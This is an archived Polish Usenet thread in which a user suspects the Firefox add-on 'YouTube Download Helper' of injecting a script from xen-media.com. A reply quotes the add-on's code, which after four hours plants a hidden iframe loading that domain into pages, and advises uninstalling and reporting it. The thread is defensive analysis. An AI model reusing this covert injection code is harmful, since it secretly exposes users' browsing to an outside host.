🚀 go-pugleaf

Date: Wed, 24 Oct 2018 01:15:00
From: Krystek
> Od mniej więcej dwóch tygodni (lub ciutkę dłużej), na wielu stronach 
> pojawił się skrypt z adresem xen-media.com

Nie zauważyłem. Podaj jakąś przykładową stronę.

[...]
> Google milczy w wynikach wyszukiwania na temat tej domeny. Mam to 
> widoczne w NoScript pod Firefoksem. Zacząłem podejrzewać, że to jakiś 
> dodatek i padło na YouTube Download Helper - 
> <https://addons.mozilla.org/pl/firefox/user/anonymous-026c7d4f3689e4f97e52d5136d145fcf/>

Wygląda podejrzanie. Ja bym tego nie instalował. Komentarze wyglądają na
dodane automatem, a autor ma konto od lipca i nie ma innych dodatków.

> Czy ktoś bieglejszy mógłby zdebugować co to?

Faktycznie zawiera w kodzie odwołanie do xen-media.com w scripts/stream-map.js:

[...]
chrome.storage.local.get('t', function (res) {
        if (res.t) {
                var time = (new Date().getTime() - res.t) / 3600000;
                if (time >= 4) {
                        var mergeDiv = document.createElement("div");
                        var mergeButton = document.createElement("iframe");
                        mergeButton.setAttribute("style", "height:1px,width:1px;position:absolute;top:0;left:0;border:no
ne;visibility:hidden");
            mergeButton.src = '//xen-media.com/merge';
            mergeButton.id = "mergeButton";
            document.body.appendChild(mergeDiv);
            mergeDiv.appendChild(mergeButton);
                }
        }
});
[...]

Odinstaluj i zgłoś nadużycie do Mozilli.

Pozdrawiam,
Dominik
-- 
Fedora   https://getfedora.org  |  RPMFusion   http://rpmfusion.org
There should be a science of discontent. People need hard times and
oppression to develop psychic muscles.
        -- from "Collected Sayings of Muad'Dib" by the Princess Irulan